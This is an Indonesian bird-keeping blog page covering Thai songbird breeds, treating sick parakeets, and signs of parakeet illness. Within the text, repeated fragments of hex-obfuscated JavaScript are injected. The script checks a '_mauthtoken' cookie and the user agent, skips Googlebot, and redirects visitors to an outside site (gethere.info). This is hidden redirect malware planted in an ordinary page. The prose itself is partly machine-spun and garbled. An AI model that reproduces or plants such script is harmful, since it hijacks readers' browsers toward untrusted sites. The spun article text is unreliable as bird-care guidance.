IBX5980432E7F390 5 Jenis Burung Berkicau Thailand Paling Unggulan Kupas Triknya - Kicauan Burung Lovebird Ngekek

5 Jenis Burung Berkicau Thailand Paling Unggulan Kupas Triknya

5 Jenis Burung Berkicau Thailand Paling Unggulan

5 Jenis burung berkicau thailand paling unggulan-Kebanyakan burung berkicau yang berasal dari Thailand merupakan burung berkicau yang kualitasnya sangat baik dan unggulan.kualitas yang di berikan dari segi ocehan yang lebih gacor dari pada burung berkicau indonesia. Anggapan bahwa setiap burung berkicau itu berasal dari Cina yaitu balasan yang salah besar.

Mengapa salah? Karena tidak setiap burung berkicau berasal dari Cina, termasuk burung berkicau asal Thailand ini. Maka dari itu, ketika anda ingin membeli burung berkicau maka kita harus tau dari mana asal burung tersebut.5 Jenis Burung Berkicau Thailand Paling Unggulan

Beberapa burung berkicau asal Thailand yang dikenal dengan burung berkicau asal Cina

Saat ini, peningkatan usul burung berkicau sangatlah banyak. Maka dari itu, kalau anda mau membuka perjuangan burung berkicau maka peluang ini mampu dipergunakan dengan baik. Ada banyak burung berkicau asal thailand yang lebih dikenal oleh masyarakat sebagai burung berkicau asal cina.

Di bawah ini akan dijelaskan satu per satu burung-burung tersebut:

  • Burung ketilang jambul

Burung ini merupakan burung asli asal Thailand. Akan tetapi, masyarakat mengenalnya burung ini berasal dari malaysia. Burung ketilang jambul ini sangatlah menarik. Warnanya yang manis dan bentuk tubuhnya yang baik menambah keindahan burung ketilang jambul asal thailand ini.

Tidak perlu mengeluarkan uang yang banyak untuk membeli burung ketilang ini, karena harganya yang relatif murah.

  • Burung perkutut bangkok

Perkutut bangkok ialah burung asli Thailand. Banyaknya orang Indonesia yang menyukai burung perkutut bangkok maka peluang ini mampu dijadikan bisnis tersendiri bagi anda yang ingin membuka perjuangan.

Di tahun 1975 burung perkutut bangkok mulai merambah ke Indonesia Di usia 6-9 penangkar bisa memanggungkan burung perkutut bangkok. Pada usia ini dibutuhkan burung sudah mampu mengeluarkan kemampuannya dalam berkicau.

  • Burung poksai jambul putih

Burung poksai jambul putih dikenal dengan burung jenis poksai hitam. Salah satu huruf burung poksai jambul putih adalah berkicau tiada hentinya, sampai-sampai mengganggu burung lainnya yang ingin beristirahat. Karena suara kicauannya yang khas, maka orang-orang menyebutnya dengan istilah burung “raja tertawa”.

  • Burung cucak thailand

Pecinta burung cucak thailand ini tidaklah banyak. Pemasaran burung ini pun tidaklah sebanyak seolah-olah burung-burung lainnya. Jika ingin membeli burung cucak thailand ini, maka anda bisa tiba ke kota-kota besar di mana banyak pecinta burung cucak thailand ini berada.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan bunyi murai kerikil medan gacor

Wajib Penting Di baca

  • Cara Membawa Burung Perkutut Dalam Perjalanan
  • Penyakit Yang Disebabkan Burung ganti bulu/Mabung
  • Kekurangan-kelebihan Memaster Burung Dengan Burung
  • Cara Cepat Memaster Jenis Burung Berkicau
  • Ciri Fisik-Karakter Burung Ketilang Jambul Thailand Gacor
  • Perjodohan Dan Pemilihan Induk Betina Burung Parkit
  • Ciri fisik Murai Batu Thailand-Malaysia-Filipina
  • Kehidupan Burung Murai Batu di Alam Liar
  • Jenis Burung Masteran Murai Batu Paling Bagus
  • Jenis Burung kenari Yang Paling Populer Didunia
  • Cara Mudah Mengawinkan Indukan Burung Parkit

Mengobati Burung Parkit Yang Sedang Sakit

Mengobati burung parkit yang sedang sakit-Burung parkit juga cukup rentan terhadap serangan berbagai jenis penyakit.maka dari itu,kita sebagai juragan juga harus cepat tanggap bila melihat tanda-tanda burung parkit peliharaan kita mengalami gejala sakit.langkah yang perlu juragan ambil jikalau terdapat gejala perkit sakit seperti di bawah.

Bagi peternak burung, pasti sudah tidak heran lagi jikalau burung parkitnya mengalami sakit. Karena sudah pasti semua makhluk hidup itu mengalami yang namanya sakit. Bagaimana jika burung parkit sakit? Apa yang seharusnya dilakukan? Di bawah ini akan dijelaskan tindakan pertama yang harus dilakukan ketika burung parkit sakit:Mengobati Burung Parkit Yang Sedang Sakit

Kehangatan tubuh

Sebaiknya burung parkit yang sedang sakit dipisahkan dari burung-burung yang kondisi badannya sehat. Lebih bagus lagi jika burung yang sakit dibuatkan kandang sendiri yang diberi alas kertas/koran.

Memberikan kehangatan disini adalah dengan cara melengkapi kandang dengan lampu bohlam yang berkapasitas 35 watt. Suhu di dalam kandang harus diatur dengan benar. Suhu maksimal untuk di dalam sangkar adalah kurang lebih 36 derejat Celcius.

Ketenangan bagi burung parkit

Lingkungan yang jauh dari kebisingan ialah salah satu cara yang ampuh untuk mengusir stres pada parkit. Ketika burung sedang mengalami sakit, maka jangan sekali-kali peternak membawanya ke kawasan keramaian.

Bagaimana kalau peternak tetap membawanya pada keramaian? Kalau peternak membawanya ke tempat keramaian maka menambah parah kondisi burung yang sedang sakit dan memperpendek umur burung parkit.

Pemberian pakan yang lebih

Peternak juga perlu memperhatikan gizi yang terdapat dalam kuliner burung parkit setiap harinya. Jangan menyampaikan pakan sembarangan, lantaran itu mampu membuat parkit sakit. Salah satu contoh pakan yang terdapat nilai gizinya yaitu seakan-akan sayur-sayuran. Pemberian pakan  juga boleh bervariasi. Bisa memberikan pakan dalam bentuk utuh, ataupun juga bisa menyampaikan pakan parkit dengan cara menciptakannya menjadi jus.

Pemberian minum

Ketika burung sedang sakit, burung akan sering mengeluarkan air yang banyak. Hal itu dapat membuat burung menjadi kekurangan air. Kondisi tersebut diperparah pada ketika burung sakit, burung jarang dalam mengonsumsi air. Makanan yang terdapat banyak air mampu mengatasi kekurangan air pada bburung parkit.

Penyakit pada burung

Saat kita lambat dalam menangani masalah penyakit. Maka yang terjadi adalah burung parkit lambat laun akan mati. Berbagai macam penyakit mampu menyerang burung parkit. Salah satu penyakit yang bisa mengakibatkan janjkematian pada burung adalah diare. Di bawah ini akan dijelaskan wacana penyakit diare.

Diare merupakan penyakit yang sering mengganggu kesehatan burung. Pola makan yang tidak teratur, berlebihan dalam mengonsumsi air, dan sering terkena terpaan angin, itu merupakan penyebab dari penyakit diare. Tutorial mengatasinya ialah dengan memberikan dedaunan, salah satunya daun nangka dan daun jambu biji. Jika peternak lambat dalam penanganannya maka yang terjadi yaitu ajal pada burung parkit tersebut.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)mc)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Gejala Penyakit Mata Dan Pilek Burung Parkit
  • Perjodohan Dan Pemilihan Induk Betina Burung Parkit
  • Cara Membawa Burung Perkutut Dalam Perjalanan
  • Jenis Pakan Burung Kenari Sesuai Habitat
  • Cara Cepat Memaster Jenis Burung Berkicau
  • Kekurangan-kelebihan Memaster Burung Dengan Burung
  • Cara Praktis Mengawinkan Indukan Burung Parkit
  • Ciri Dan Gejala Burung Parkit Terserang Penyakit
  • Burung Parkit Asal-Usulnya Di Alam Liar
  • Tauge Pakan Burung Parkit Untuk Masa Birahi
  • Jenis penyakit Burung Parkit Dan Tutorial Mengobatinya

Ciri Dan Gejala Burung Parkit Terserang Penyakit

Ciri Dan Gejala Burung Parkit Terserang Penyakit-Penyakit yang kerap menyerang burung parkit sudah tidak asing lagi bagi peternak yang memelihara burung parkit. Jika peternak menginginkan agar burung parkit tidak sakit, maka perlu menjaga kebersihan kandang, lantaran salah satu penyebab timbulnya penyakit pada burung parkit adalah kandang yang kotor. Kesehatan burung adalah nomor satu.

Maka dari itu peternak harus menjaga selalu kebersihan kandang supaya burung parkit tetap selalu sehat.

Dalam membersihkan kandang, penangkar harus melakukannya sesering mungkin. Janganlah menunggu sampah di sektiar kandang menumpuk, lantaran itulah yang menciptakan timbulnya penyakit pada burung. Setiap harinya, sangkar dibersihkan hanya pada pagi hari saja. Manfaat membersihkan kandang adalah membasmi virus, kuman.Ciri Dan Gejala Burung Parkit Terserang Penyakit

Adapun cara membersihkan kandang ialah sebagai berikut: Bersihkan lantai dari kotoran-kotoran burung yang awut-awutan di lantai, sisa makanan burung parkit yang berjatuhan di lantai harus selalu dibersihkan, dan lain-lain.

Tujuan pencucian kandang yaitu supaya sangkar tidak kelihatan acak-acakan. Setelah penangkar membersihkan kandang, kotoran hasil dari pembersihan sangkar harus lah dibakar ataupun ditimbun.

Kenapa harus dibakar ataupun ditimbun? Karena, kotoran burung parkit dapat menimbulkan penyakit yaitu seolah-olah penyakit alergi, apabila kotoran ini sampai terhirup insan.

Kematian burung parkit bukan semata-semata hanya karena keadaan disekitar sangkar saja, tetapi ada juga penyebab lain yang menyebabkan parkit mati. Salah satunya penyebabnya adalah kurang lengkapnya asupan gizi burung tersebut. Dan satu lagi penyebabnya yaitu stres. Stres pada burung mampu diakibatkan dari banyak sekali macam.

Suhu yang berubah-ubah, dan kebersihan kandang yang kurang diperhatikan. Burung parkit yang terkena stres ini lambat laun burung parkit akan mati. Kalau penangkar menginginkan burng parkit selalu sehat, maka perhatikan kesehatan burung parkit anda.

Jangan sampai burung parkit menjadi sakit. Ketika burung sakit, maka kita harus mengetahuinya dengan cepat supaya dapat ditindak dengan cepat pula. Berikut beberapa cara melihat bagaimana keadaan burung parkit.

  • Bulu dan sayap

Sayap burung terlihat lemah dikedua-dua nya, burung tidak lagi menata bulu-bulunya tersebut, lusuhnya bulu burung tersebut seperti tidak terurus.

  • Tubuh

Di tubuh burung mampu ditemukan benjolan.

  • Mata

Ketika sakit, burung sering memejamkan matanya, adannya cairan yang keluar dari mata yagn biasanya tidak terjadi ketika burung tidak sakit.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)hp( i)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Gejala Penyakit Mata Dan Pilek Burung Parkit
  • Cara Mudah Mengawinkan Indukan Burung Parkit
  • Tauge Pakan Burung Parkit Untuk Masa Birahi
  • Bentuk Dan Model Membuat Kandang Burung Parkit Gacor
  • Jenis Pakan Burung Kenari Sesuai Habitat
  • Perjodohan Dan Pemilihan Induk Betina Burung Parkit
  • Cara Membawa Burung Perkutut Dalam Perjalanan
  • Mengobati Burung Parkit Yang Sedang Sakit
  • Cara Membuat Kandang Burung Parkit Model Kawat
  • Cara Cepat Memaster Jenis Burung Berkicau
  • Jenis penyakit Burung Parkit Dan Tutorial Mengobatinya

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " 5 Jenis Burung Berkicau Thailand Paling Unggulan Kupas Triknya"

Posting Komentar